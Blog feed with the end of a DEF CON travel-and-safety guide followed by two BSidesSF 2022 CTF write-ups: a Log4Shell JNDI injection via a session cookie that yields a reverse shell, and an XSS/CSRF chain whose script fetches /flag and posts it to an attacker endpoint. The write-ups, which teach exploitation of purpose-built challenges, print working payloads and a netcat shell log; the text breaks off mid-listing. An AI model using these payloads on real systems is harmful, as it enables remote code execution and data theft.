Dot-Graph paper) and <a href="https://amzn.to/3aYapei">pen</a>. To this day, I still find
it easier to make quick notes on pen and paper than on my phone, especially if I
need a diagram or drawing of any sort. (It also requires no recharging.)</p>
<h2 id="safety">Safety</h2>
<h3 id="stay-healthy">Stay Healthy</h3>
<p>Addressing the elephant in the room, there is still a pandemic going on, and new
variants all the time. Everyone has already made up their mind on vaccinations,
so I’m not going to try to push anyone on that, but I will strongly suggest
bringing some tests with you to Las Vegas. If you test positive, <em>please</em> don’t
come to the conferences and infect others. Yes, missing out on part of con will
suck, but it’s still the right thing to do. DEF CON and BSidesLV are both
requiring masking at all times (consider <a href="https://amzn.to/3IXLILw">ear savers</a>),
except when eating, drinking, or presenting. Neither is requiring proof of
vaccination.</p>
<p>Even prior to the pandemic, Hacker Summer Camp posed its own health challenges.
Inadequate sleep is nearly universal, and drinking, heat, and dry air can
quickly lead to dehydration. Drinking water is absolutely critical. I strongly
recommend bringing an <a href="https://amzn.to/3PNuanl">insulated water bottle</a>, and you
can refill from water fountains in the conference space. Bottled water in the
hotels is extremely expensive (I believe most people would call it a “rip-off”)
but if you want to get bottled water, I suggest going to CVS, or the <a href="https://abcstores.com/">ABC
convenience stores</a> on the Strip. (Fun fact, those
stores also sell alcohol at pretty reasonable prices if you want to have a drink
in your room. Hotel rules would definitely preclude carrying a
<a href="https://amzn.to/3ovCyfz">flask</a> in the conference space, so no hackers would
ever do that.)</p>
<p>I particularly hate the heat, so I also bring a couple of <a href="https://amzn.to/3IYdvLI">“cooling
towels”</a> – you dampen them, and the evaporating water
causes them to cool off, consequently cooling you off. They also make a great
basic towel for wiping sweat away or any other quick use. I was skeptical when
I first heard of them, but they really work to make you feel cooler.</p>
<h3 id="physical-safety">Physical Safety</h3>
<p>Las Vegas is a bit of a unique city in that it’s built <em>entirely</em> around the
tourism industry. This is even more true on or near “The Strip”, the section of
Las Vegas Boulevard from The STRAT to Mandalay Bay (just north of Reid Airport).
Every scam you can imagine is being played here as well as many you won’t even
have thought of. Your Social Engineering instincts should be on high alert.</p>
<p>Pickpocketing and theft of anything unattended are both commonplace on the
strip, but robbery less so on the strip. It’s more your belongings than you
yourself that are at risk. Stay in a group if you can.</p>
<p>Know that the street performers have an <em>expectation</em> of getting paid if you
take a photo with them. This ranges from a guy in a poor Mickey Mouse costume
to women dressed up as Las Vegas showgirls. It may get confrontational if you
take a photo and try not to tip them at all, but also don’t let them rip you off
if you decide to do this.</p>
<h3 id="electronic-safety">Electronic Safety</h3>
<p>If you have fully up-to-date (patched) devices, I do not believe the risk of
compromise to be especially high. Consider the value of 0-day exploits in
modern platforms along with the number of reverse engineers and malware analysts
present who might get a copy, resulting in the 0-day being “burned”. To the
best of my knowledge, no device I’ve ever taken has been compromised. (And yes,
I used to take “burner” devices, my views on this have evolved over the years.)</p>
<p>If you have a device that <em>can’t</em> run the latest available OS (i.e., no longer
receives Android or iOS Updates), I strongly recommend upgrading, whether or not
you plan to bring it to DEF CON. Unfortunately there are enough browser and
similar bugs that affect older OSs that they’re basically unsafe on <em>any</em> public
network, not just the ones at these conferences.</p>
<p>At DEF CON, they provide both an “open” network (on which there are plenty of
shenanigans, but not modern OS 0-day as far as I’m aware) and a “secure” network
that uses 802.1x authentication with certificates (make sure you verify the
network certificate) and also prevents client-to-client traffic.</p>
<p>I do recommend not bringing any particularly sensitive data, and having a
thorough backup before your trip.</p>
<p>VPNs are a bit of a controversial topic in the security space right now. Too
many providers pretend they can offer things they can. At a simple level, your
traffic is <em>eventually</em> egressing onto the public internet, and it’s not
end-to-end encryption. If you’re in the security space and not familiar with
how commercial VPNs work, now might be a great time to look more into it. I do
think they have value on open wireless networks because the opportunity for
meddler-in-the-middle attacks is less on a VPN than on the open WiFi. I
personally use <a href="http://www.privateinternetaccess.com/pages/buy-a-vpn/1218buyavpn?invite=U2FsdGVkX18aKarfu8c-T4YL607CLgJXQ7bjtNnDbq8%2Cxx398ZSkDRCERKNANTr2j9zKN9M">Private Internet
Access</a>
but there are many options out there.</p>
<h2 id="faqs">FAQs</h2>
<h3 id="whats-a-goon">What’s a Goon?</h3>
<p><a href="https://defcon.org/html/links/dc-goons.html">DEF CON Goons</a> are the volunteer
army that help make sure DEF CON occurs as successfully and safely as possible.
While they have a bit of a reputation for their loudness and directness, their
goal is to keep things moving and do so safely. They can be identified by their
red DEF CON badges.</p>
<h3 id="where-can-i-learn-more-about-the-history-of-def-con">Where can I learn more about the history of DEF CON?</h3>
<p>I’m hardly a historian, but I can recommend checking out the <a href="https://www.youtube.com/watch?v=3ctQOmjQyYg">DEF CON
documentary</a> produced by Jason
Scott at DEF CON 20 in 2012.</p>
<h3 id="what-is-badgelife">What is Badgelife?</h3>
<p>The official DEF CON badges eventually inspired other creators to get into the
space of making badges as well. These may be electronic, laser cut, hand
crafted, and more. Some will be sold publicly, others are given out to friends,
and still others may be associated with an activity in one of the villages.
These are often called “unofficial badges” since they are not associated with
the DEF CON organizers and they <strong>don’t gain you access</strong> to the conference.
(Some may gain you access to parties and events run by their creators, however.)</p>
<p>The electronic component shortage associated with the pandemic has slowed things
down a bit, but this space appears poised to make a come back this year or so.
At the end of the day, Badgelife is just a particularly nerdy form of art.
(I’ve been a small-volume badgelife creator for a few years, so I feel well
positioned to acknowledge the nerdiness.)</p>
<h3 id="where-can-i-see-past-talks">Where Can I See Past Talks?</h3>
<p>The <a href="https://media.defcon.org/">DEF CON Media Server</a> has all the media from
every DEF CON held, but not every DEF CON had talks recorded. Many of the
videos have also been <a href="https://www.youtube.com/user/DEFCONConference/videos?app=desktop">uploaded to
YouTube</a>.</p>
<p>Black Hat posts some of the videos from their conferences to their <a href="https://www.youtube.com/channel/UCJ6q9Ie29ajGqKApbLqfBOg">YouTube
page</a>. Likewise,
BSidesLV has a <a href="https://www.youtube.com/c/BsideslvOrg?app=desktop">YouTube page</a>
with their talks. Finally, <a href="https://www.youtube.com/c/TheDianaInitiative">The Diana
Initiative</a> has also uploaded
their videos from 2021. (Though apparently none from before that time, at least
that I could locate.)</p>
<h3 id="what-is-the-rule-on-photography">What is the Rule on Photography?</h3>
<p>Until about 10 years ago, the rule was <em>no photography allowed</em> but now that
basically everyone carries a camera with them wherever they go (my phone
actually has 4 separate cameras), it’s been updated a bit:</p>
<p>Everyone in the photo <em>must consent</em> to having their photo taken at both DEF CON
and BSidesLV. (And, quite frankly, this is good advice for life in general.)
This includes individuals in the background, etc. There may also be areas
(Skytalks, Mohawkcon) that absolutely prohibit photography. I have personally
witnessed individuals removed from events for violating this rule.</p>
<p>At DEF CON 15, an undercover reporter was <a href="https://www.wired.com/2007/08/media-mole-at-d/">chased from the
event</a>. While the events do
allow press, they are required to register as such (which earns them a
specially-colored badge) and the policies require they identify themselves as
press to participants.</p>
<p>A reporter coming “undercover” hoping to catch individuals openly discussing
criming in the hallways is likely to be very disappointed. You’re far more
likely to catch people mocking the security industry itself.</p>
<h3 id="i-dont-know-anyone--how-do-i-meet-people">I Don’t Know Anyone – How Do I Meet People?!</h3>
<p>I struggle with this myself, but the <a href="https://lonelyhackers.club/">Lonely Hackers
Club</a> has a great
<a href="https://lonelyhackers.club/post/defconguide/">guide</a>.</p>
<h2 id="closing">Closing</h2>
<p>I hope some of these tips have been helpful to at least some of you. :) Feel
free to reach me on <a href="https://twitter.com/matir">Twitter</a> with any feedback you
might have. If you want to get into the right mindset, I highly recommend
checking out the music CDs or live recordings from <a href="https://media.defcon.org/">past
DEFCONs</a> or checking out <a href="https://dualcoremusic.com/">Dual Core
Music</a>.</p>
BSidesSF 2022 CTF: Login4Shell2022-06-20T00:00:00-07:00https://systemoverlord.com/2022/06/20/bsidessf-2022-ctf-login4shell
<p><a href="https://en.wikipedia.org/wiki/Log4Shell">Log4Shell</a> was arguably the biggest
vulnerability disclosure of 2021. Security teams across the entire world spent
the end of the year trying to address this bug (and several variants) in the
popular <a href="https://logging.apache.org/log4j/2.x/">Log4J</a> logging library.</p>
<p>The vulnerability was caused by special formatting strings in the values being
logged that allow you to include a reference. This reference, it turns out, can
be loaded via <code class="language-plaintext highlighter-rouge">JNDI</code>, which allows remotely loading the results as a Java class.</p>
<p>This was such a big deal that there was no way we could let the next BSidesSF
CTF go by without paying homage to it. Fun fact, this meant I “got” to build a
Java webapp, which is actually something I’d never done from scratch before.
Nothing quite like learning about Jetty, Log4J, and Maven just for a CTF level.</p>
<!--more-->
<p>Visiting the given application, we see a basic page with options to login and
register along with a changelog:</p>
<p><img src="/img/bsidessf/login4shell_home.png" alt="Login4Shell" /></p>
<p>The changelog notes that the logger was “patched for Log4Shell” and that there
was previously support for sub-users in the format “user+subuser”, but it has
alledgedly been removed.</p>
<p>Registering an account, we’re requested to provide only a username. The
password is given to us once we register. Registering the username “writeup”,
we get the password “7fAFsdYlz-oH”. If we login with these credentials, we now
see a link to a page called “Flag”, as well as a “Logout” link. Could we just
get the flag directly? Let’s check.</p>
<p><img src="/img/bsidessf/login4shell_flag.png" alt="Login4Shell Flag" /></p>
<p>Unfortunately, no such luck. We’re presented with a page containing the
following:</p>
<blockquote>
<p>Oh come on, it wasn’t going to be that simple. We’re going to make you work for this.</p>
<p>The flag is accessible at <code class="language-plaintext highlighter-rouge">/home/ctf/flag.txt</code>.</p>
<p>Oh yeah, your effort to get the flag has been logged. Don’t make me tell you again.</p>
</blockquote>
<p>Noting the combination of the logging bug mentioned on the homepage (and the
hint from the name of the challenge), as well as the message here about being
logged, perhaps this is a place we could do something. Let’s look for anywhere
accepting user input.</p>
<p>Other than the login and register forms, we find nothing interesting across the
entire app. Attempting to put a log4shell payload into the login and register
forms merely obtains an error:</p>
<blockquote>
<p>Error: Username must be lowercase alphanumeric!</p>
</blockquote>
<p>Taking a look at the login process, we see that we get handed a cookie
(<code class="language-plaintext highlighter-rouge">logincookie</code>) for the session when we login:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>eyJ1c2VybmFtZSI6IndyaXRldXAiLCJwYXNzd29yZCI6IjdmQUZzZFlsei1vSCJ9
</pre></td></tr></tbody></table></code></pre></div></div>
<p>It might be an opaque session token, but from experience, I know that <code class="language-plaintext highlighter-rouge">ey</code> is
the base64 encoding of the opening of a JSON object (<code class="language-plaintext highlighter-rouge">{"</code>). Let’s decode it and
see what we get:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>{"username":"writeup","password":"7fAFsdYlz-oH"}
</pre></td></tr></tbody></table></code></pre></div></div>
<p>Interestingly enough, our session cookie is just a JSON object that contains the
plaintext username and password for our user. There’s no obvious signature or
MAC involved. Maybe we can tamper directly with the cookie. If I change the
username by adding a letter, it effectively logs me out. Likewise, changing the
password gives me the logged-out experience.</p>
<p>Looking back at the “subuser” syntax mentioned on the homepage, I decided to try
that directly with the cookie. Setting the username to <code class="language-plaintext highlighter-rouge">writeup+a</code> with the
same password, the site seems to recognize me as logged-in again. To check if
this field might be vulnerable without needing to setup the full exploit
ourselves, we can use the <a href="https://log4shell.huntress.com/">Huntress Log4Shell
test</a>. Inserting the provided payload gives us
the following cookie:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre>{"username":"writeup+${jndi:ldap://log4shell.huntress.com:1389/d21b4a24-08c8-4d91-9da3-b12fa5f0a472}","password":"7fAFsdYlz-oH"}
eyJ1c2VybmFtZSI6IndyaXRldXArJHtqbmRpOmxkYXA6Ly9sb2c0c2hlbGwuaHVudHJlc3MuY29tOjEzODkvZDIxYjRhMjQtMDhjOC00ZDkxLTlkYTMtYjEyZmE1ZjBhNDcyfSIsInBhc3N3b3JkIjoiN2ZBRnNkWWx6LW9IIn0=
</pre></td></tr></tbody></table></code></pre></div></div>
<p>If we set our cookie to that value, then visit the <code class="language-plaintext highlighter-rouge">/flag</code> page again so our
attempt is logged, we <em>should</em> trigger the vulnerability, as we understand it so
far. Doing so, then refreshing our page on Huntress shows the callback hitting
their server. We’ve successfully identified a sink for the log4shell payload!
Now we just need to serve up a payload.</p>
<p>Unfortunately, this requires an internet exposed server. There’s a couple of
ways to do this, such as port forwarding on your router, a service like
<a href="https://ngrok.com">ngrok</a>, or running a VPS/Cloud Server. In this case, I’ll
use a VPS from <a href="https://m.do.co/c/b2cffefc9c81">Digital Ocean</a>.</p>
<p>I grabbed the <a href="https://github.com/kozmer/log4j-shell-poc"><code class="language-plaintext highlighter-rouge">log4j-shell-poc</code></a>
from <code class="language-plaintext highlighter-rouge">kozmer</code> to launch the attack. This, itself, depends on the <code class="language-plaintext highlighter-rouge">marshalsec</code>
project. This requires exposing 3 ports: LDAP on port 1389, a port for the
reverse shell, and a port for an HTTP server for the payload. The LDAP server
will point to the HTTP server, which will provide a class file as the payload,
which launches a reverse shell to the final port. We launch the PoC with our
external IP:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
</pre></td><td class="rouge-code"><pre>python3 ./poc.py --userip 137.184.181.246
[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc
[+] Exploit java class created success
[+] Setting up LDAP server
[+] Send me: ${jndi:ldap://137.184.181.246:1389/a}
</pre></td></tr></tbody></table></code></pre></div></div>
<p>After starting a netcat listener on port 9001, we send the provided string in
our username within the cookie and load the flag page again:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre>{"username":"writeup+${jndi:ldap://137.184.181.246:1389/a}","password":"7fAFsdYlz-oH"}
eyJ1c2VybmFtZSI6IndyaXRldXArJHtqbmRpOmxkYXA6Ly8xMzcuMTg0LjE4MS4yNDY6MTM4OS9hfSIsInBhc3N3b3JkIjoiN2ZBRnNkWWx6LW9IIn0=
</pre></td></tr></tbody></table></code></pre></div></div>
<p>Upon reloading, we see our netcat shell light up:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
</pre></td><td class="rouge-code"><pre>nc -nvlp 9001
Listening on 0.0.0.0 9001
Connection received on 35.247.118.88 36856
id
uid=2000(ctf) gid=2000(ctf) groups=2000(ctf)
cat /home/ctf/flag.txt
CTF{thanks_for_logging_in_to_our_logs_login_shell}
</pre></td></tr></tbody></table></code></pre></div></div>
BSidesSF 2022 CTF: TODO List2022-06-09T00:00:00-07:00https://systemoverlord.com/2022/06/09/bsidessf-2022-ctf-todo-list
<p>This year, I was the author of a few of our web challenges. One of those that
gave both us (as administrators) and the players a few difficulties was “TODO
List”.</p>
<p>Upon visiting the application, we see an app with a few options, including
registering, login, and support. Upon registering, we are presented with an
opportunity to add TODOs and mark them as finished:</p>
<p><img src="/img/bsidessf/todolist_todos.png" alt="Add TODOs" /></p>
<p>If we check <code class="language-plaintext highlighter-rouge">robots.txt</code> we discover a couple of interesting entries:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre>User-agent: *
Disallow: /index.py
Disallow: /flag
</pre></td></tr></tbody></table></code></pre></div></div>
<p>Visiting <code class="language-plaintext highlighter-rouge">/flag</code>, unsurprisingly, shows us an “Access Denied” error and nothing
further. It seems that we’ll need to find some way to elevate our privileges or
compromise a privileged user.</p>
<p>The other entry, <code class="language-plaintext highlighter-rouge">/index.py</code>, provides the source code of the TODO List app. A
few interesting routes jump out at us, not least of which is the routing for
<code class="language-plaintext highlighter-rouge">/flag</code>:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
</pre></td><td class="rouge-code"><pre><span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/flag'</span><span class="p">,</span> <span class="n">methods</span><span class="o">=</span><span class="p">[</span><span class="s">'GET'</span><span class="p">])</span>
<span class="o">@</span><span class="n">login_required</span>
<span class="k">def</span> <span class="nf">flag</span><span class="p">():</span>
<span class="n">user</span> <span class="o">=</span> <span class="n">User</span><span class="p">.</span><span class="n">get_current</span><span class="p">()</span>
<span class="k">if</span> <span class="ow">not</span> <span class="p">(</span><span class="n">user</span> <span class="ow">and</span> <span class="n">user</span><span class="p">.</span><span class="n">is_admin</span><span class="p">):</span>
<span class="k">return</span> <span class="s">'Access Denied'</span><span class="p">,</span> <span class="mi">403</span>
<span class="k">return</span> <span class="n">flask</span><span class="p">.</span><span class="n">send_file</span><span class="p">(</span>
<span class="s">'flag.txt'</span><span class="p">,</span> <span class="n">mimetype</span><span class="o">=</span><span class="s">'text/plain'</span><span class="p">,</span> <span class="n">as_attachment</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>
</pre></td></tr></tbody></table></code></pre></div></div>
<p>We see that we will need a user flagged with <code class="language-plaintext highlighter-rouge">is_admin</code>. There’s no obvious way
to set this value on an account. User IDs as stored in the database are based
on a sha256 hash, and the passwords are hashed with argon2. There’s no obvious
way to login as an administrator here. There’s an endpoint labeled <code class="language-plaintext highlighter-rouge">/api/sso</code>,
but it requires an existing session.</p>
<p>Looking at the frontend of the application, we see a pretty simple Javascript to
load TODOs from the API, add them to the UI, and handle marking them as finished
on click. Most of it looks pretty reasonable, but there’s a case where the
TODO is inserted into an HTML string here:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre><span class="kd">const</span> <span class="nx">rowData</span> <span class="o">=</span> <span class="s2">`<td><input type='checkbox'></td><td></span><span class="p">${</span><span class="nx">data</span><span class="p">[</span><span class="nx">k</span><span class="p">].</span><span class="nx">text</span><span class="p">}</span><span class="s2"></td>`</span><span class="p">;</span>
<span class="kd">const</span> <span class="nx">row</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="dl">'</span><span class="s1">tr</span><span class="dl">'</span><span class="p">);</span>
<span class="nx">row</span><span class="p">.</span><span class="nx">innerHTML</span> <span class="o">=</span> <span class="nx">rowData</span><span class="p">;</span>
</pre></td></tr></tbody></table></code></pre></div></div>
<p>This looks <em>awfully</em> like an XSS sink, unless the server is pre-escaping the
data for us in the API. Easy enough to test though, we can just add a TODO
containing <code class="language-plaintext highlighter-rouge"><span onclick='alert(1)'>Foobar</span></code>. We quickly see the span
become part of the DOM and a click on it gets the alert we’re looking for.</p>
<p><img src="/img/bsidessf/todolist_todo_alert.png" alt="TODOs" /></p>
<p>At this point, we’re only able to get an XSS on ourselves, otherwise known as a
“Self-XSS”. This isn’t very exciting by itself – running a script as ourselves
is not crossing any privilege boundaries. Maybe we can find a way to create a
TODO for another user?</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
</pre></td><td class="rouge-code"><pre><span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/api/todos'</span><span class="p">,</span> <span class="n">methods</span><span class="o">=</span><span class="p">[</span><span class="s">'POST'</span><span class="p">])</span>
<span class="o">@</span><span class="n">login_required</span>
<span class="k">def</span> <span class="nf">api_todos_post</span><span class="p">():</span>
<span class="n">user</span> <span class="o">=</span> <span class="n">User</span><span class="p">.</span><span class="n">get_current</span><span class="p">()</span>
<span class="k">if</span> <span class="ow">not</span> <span class="n">user</span><span class="p">:</span>
<span class="k">return</span> <span class="s">'{}'</span>
<span class="n">todo</span> <span class="o">=</span> <span class="n">flask</span><span class="p">.</span><span class="n">request</span><span class="p">.</span><span class="n">form</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">"todo"</span><span class="p">)</span>
<span class="k">if</span> <span class="ow">not</span> <span class="n">todo</span><span class="p">:</span>
<span class="k">return</span> <span class="s">'Missing TODO'</span><span class="p">,</span> <span class="mi">400</span>
<span class="n">num</span> <span class="o">=</span> <span class="n">user</span><span class="p">.</span><span class="n">add_todo</span><span class="p">(</span><span class="n">todo</span><span class="p">)</span>
<span class="k">if</span> <span class="n">num</span><span class="p">:</span>
<span class="k">return</span> <span class="p">{</span><span class="s">'{}'</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">num</span><span class="p">):</span> <span class="n">todo</span><span class="p">}</span>
<span class="k">return</span> <span class="s">'Too many TODOs'</span><span class="p">,</span> <span class="mi">428</span>
</pre></td></tr></tbody></table></code></pre></div></div>
<p>Looking at the code for creating a TODO, it seems quite clear that it depends on
the current user. The TODOs are stored in Redis as a single hash object per
user, so there’s no apparent way to trick it into storing a TODO for someone
else. It is worth noting that there’s no apparent protection against a
<a href="https://owasp.org/www-community/attacks/csrf">Cross-Site Request Forgery</a>, but
it’s not clear how we could perform such an attack against the administrator.</p>
<p>Maybe it’s time to take a look at the Support site. If we visit it, we see not
much at all but a Login page. Clicking on Login redirects us through the
<code class="language-plaintext highlighter-rouge">/api/sso</code> endpoint we saw before, passing a token in the URL and generating a
new session cookie on the support page. Unlike the main TODO app, no source
code is to be found here. In fact, the only real functionality is a page to
“Message Support”.</p>
<p>Submitting a message to support, we get a link to view our own message. In the
page, we have our username, our IP, our User-Agent, and our message. Maybe we
can use this for something. Placing an XSS payload in our message doesn’t seem
to get anywhere in particular – nothing is firing, at least when we preview it.
Obviously an IP address isn’t going to contain a payload either, but we still
have the username and the User-Agent. The User-Agent is relatively easily
controlled, so we can try something here. cURL is an easy way to give it a try,
especially if we use the developer tools to copy our initial request for
modification:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
</pre></td><td class="rouge-code"><pre>curl 'https://todolist-support-ebc7039e.challenges.bsidessf.net/message' \
-H 'content-type: multipart/form-data; boundary=----WebKitFormBoundaryz4kbBFNL12fwuZ57' \
-H 'cookie: sup_session=75b212f8-c8e6-49c3-a469-cfc369632c72' \
-H 'origin: https://todolist-support-ebc7039e.challenges.bsidessf.net' \
-H 'referer: https://todolist-support-ebc7039e.challenges.bsidessf.net/message' \
-H 'user-agent: <script>alert(1)</script>' \
--data-raw $'------WebKitFormBoundaryz4kbBFNL12fwuZ57\r\nContent-Disposition: form-data; name="difficulty"\r\n\r\n4\r\n------WebKitFormBoundaryz4kbBFNL12fwuZ57\r\nContent-Disposition: form-data; name="message"\r\n\r\nfoobar\r\n------WebKitFormBoundaryz4kbBFNL12fwuZ57\r\nContent-Disposition: form-data; name="pow"\r\n\r\n1b4849930f5af9171a90fe689edd6d27\r\n------WebKitFormBoundaryz4kbBFNL12fwuZ57--\r\n'
</pre></td></tr></tbody></table></code></pre></div></div>
<p>Viewing this message, we see our good friend, the alert box.</p>
<p><img src="/img/bsidessf/todolist_support_alert_1.png" alt="Alert 1" /></p>
<p>Things are beginning to become a bit clear now – we’ve discovered a few things.</p>
<ol>
<li>The flag is likely on the page <code class="language-plaintext highlighter-rouge">/flag</code> of the TODO list manager.</li>
<li>Creating a TODO list entry has no protection against XSRF.</li>
<li>Rendering a TODO is vulnerable to a self-XSS.</li>
<li>Messaging the admin via support appears to be vulnerable to XSS in the User-Agent.</li>
</ol>
<p>Due to the <a href="https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy">Same-Origin
Policy</a>,
the XSS on the support site can’t directly read the resources from the main TODO
list page, so we need to do a bit more here.</p>
<p>We can chain these together to (hopefully) retrieve the flag as the admin by
sending a message to the admin that contains a User-Agent with an XSS payload
that does the following steps:</p>
<ol>
<li>Uses the XSRF to inject a payload (steps 3+) as a new XSS.</li>
<li>Redirects the admin to their TODO list to trigger the XSS payload.</li>
<li>Uses the Fetch API (or XHR) to retrieve the flag from <code class="language-plaintext highlighter-rouge">/flag</code>.</li>
<li>Uses the Fetch API (or XHR) to send the flag off to an endpoint we control.</li>
</ol>
<p>One additional complication is that <code class="language-plaintext highlighter-rouge"><script></code> tags will not be executed if
injected via the <code class="language-plaintext highlighter-rouge">innerHTML</code> mechanism in the TODO list. The reasons are
complicated, but essentially:</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">innerHTML</code> is parsed using the algorithm descripted in <a href="https://html.spec.whatwg.org/multipage/parsing.html#html-fragment-parsing-algorithm">Parsing HTML
Fragments</a>
of the HTML spec.</li>
<li>This creates an HTML parser associated with a <strong>new</strong> Document node.</li>
<li>The script node is parsed by this parser, and then inserted into the DOM of
the parent Document.</li>
<li>Consequently, the parser document and the element document are different,
<a href="https://www.w3.org/TR/2011/WD-html5-20110405/scripting-1.html#execute-the-script-block">preventing
execution</a>.</li>
</ul>
<p>We can work around this by using an event handler that will fire asynchronously.
My favorite variant of this is doing something like <code class="language-plaintext highlighter-rouge"><img src='x'
onerror='alert(1)'></code>.</p>
<p>I began by preparing the payload I wanted to fire on <code class="language-plaintext highlighter-rouge">todolist-support</code> as an
HTML standalone document. I included a couple of variables for the hostnames
involved.</p>
<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
</pre></td><td class="rouge-code"><pre><span class="nt"><div</span> <span class="na">id=</span><span class="s">'s2'</span><span class="nt">></span>
const dest='{{dest}}';
fetch('/flag').then(r => r.text()).then(b => fetch(dest, {method: 'POST', body: b}));
<span class="nt"></div></span>
<span class="nt"><script></span>
<span class="kd">const</span> <span class="nx">ep</span><span class="o">=</span><span class="dl">'</span><span class="s1">{{ep}}</span><span class="dl">'</span><span class="p">;</span>
<span class="kd">const</span> <span class="nx">s2</span><span class="o">=</span><span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="dl">'</span><span class="s1">s2</span><span class="dl">'</span><span class="p">).</span><span class="nx">innerHTML</span><span class="p">;</span>
<span class="kd">const</span> <span class="nx">fd</span><span class="o">=</span><span class="k">new</span> <span class="nx">FormData</span><span class="p">();</span>
<span class="nx">fd</span><span class="p">.</span><span class="kd">set</span><span class="p">(</span><span class="dl">'</span><span class="s1">todo</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1"><img src="x" onerror="</span><span class="dl">'</span><span class="o">+</span><span class="nx">s2</span><span class="o">+</span><span class="dl">'</span><span class="s1">"></span><span class="dl">'</span><span class="p">);</span>
<span class="nx">fetch</span><span class="p">(</span><span class="nx">ep</span><span class="o">+</span><span class="dl">'</span><span class="s1">/api/todos</span><span class="dl">'</span><span class="p">,</span>
<span class="p">{</span><span class="na">method</span><span class="p">:</span> <span class="dl">'</span><span class="s1">POST</span><span class="dl">'</span><span class="p">,</span> <span class="na">body</span><span class="p">:</span> <span class="nx">fd</span><span class="p">,</span> <span class="na">mode</span><span class="p">:</span> <span class="dl">'</span><span class="s1">no-cors</span><span class="dl">'</span><span class="p">,</span> <span class="na">credentials</span><span class="p">:</span> <span class="dl">'</span><span class="s1">include</span><span class="dl">'</span><span class="p">}).</span><span class="nx">then</span><span class="p">(</span>
<span class="nx">_</span> <span class="o">=></span> <span class="p">{</span><span class="nb">document</span><span class="p">.</span><span class="nx">location</span><span class="p">.</span><span class="nx">href</span> <span class="o">=</span> <span class="nx">ep</span> <span class="o">+</span> <span class="dl">'</span><span class="s1">/todos</span><span class="dl">'</span><span class="p">});</span>
<span class="nt"></script></span>
</pre></td></tr></tbody></table></code></pre></div></div>
<p>I used the DIV <code class="language-plaintext highlighter-rouge">s2</code> to get the escaping right for the Javascript I wanted to
insert into the error handler for the image. This would be the payload executed
on <code class="language-plaintext highlighter-rouge">todolist</code>, while the lower <code class="language-plaintext highlighter-rouge">script</code> tag would be executed on
<code class="language-plaintext highlighter-rouge">todolist-support</code>. This wasn’t strictly necessary, but it made experimenting
with the 2nd stage payload easier.</p>
<p>The <code class="language-plaintext highlighter-rouge">todolist-support</code> payload triggers a cross-origin request (hence the need
for <code class="language-plaintext highlighter-rouge">mode: 'no-cors'</code> and <code class="language-plaintext highlighter-rouge">credentials: 'include'</code> to the <code class="language-plaintext highlighter-rouge">todolist</code> API to
create a new TODO. The new TODO contained an image tag with the contents of
<code class="language-plaintext highlighter-rouge">s2</code> as the <code class="language-plaintext highlighter-rouge">onerror</code> handler (which would fire as soon as rendered).</p>
<p>That javascript first fetched the <code class="language-plaintext highlighter-rouge">/flag</code> endpoint, then did a <code class="language-plaintext highlighter-rouge">POST</code> to my
destination with the contents of the response.</p>
<p>I built a small(ish) python script to send the payload file, and used
<a href="https://requestbin.com/">RequestBin</a> to receive the final flag.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
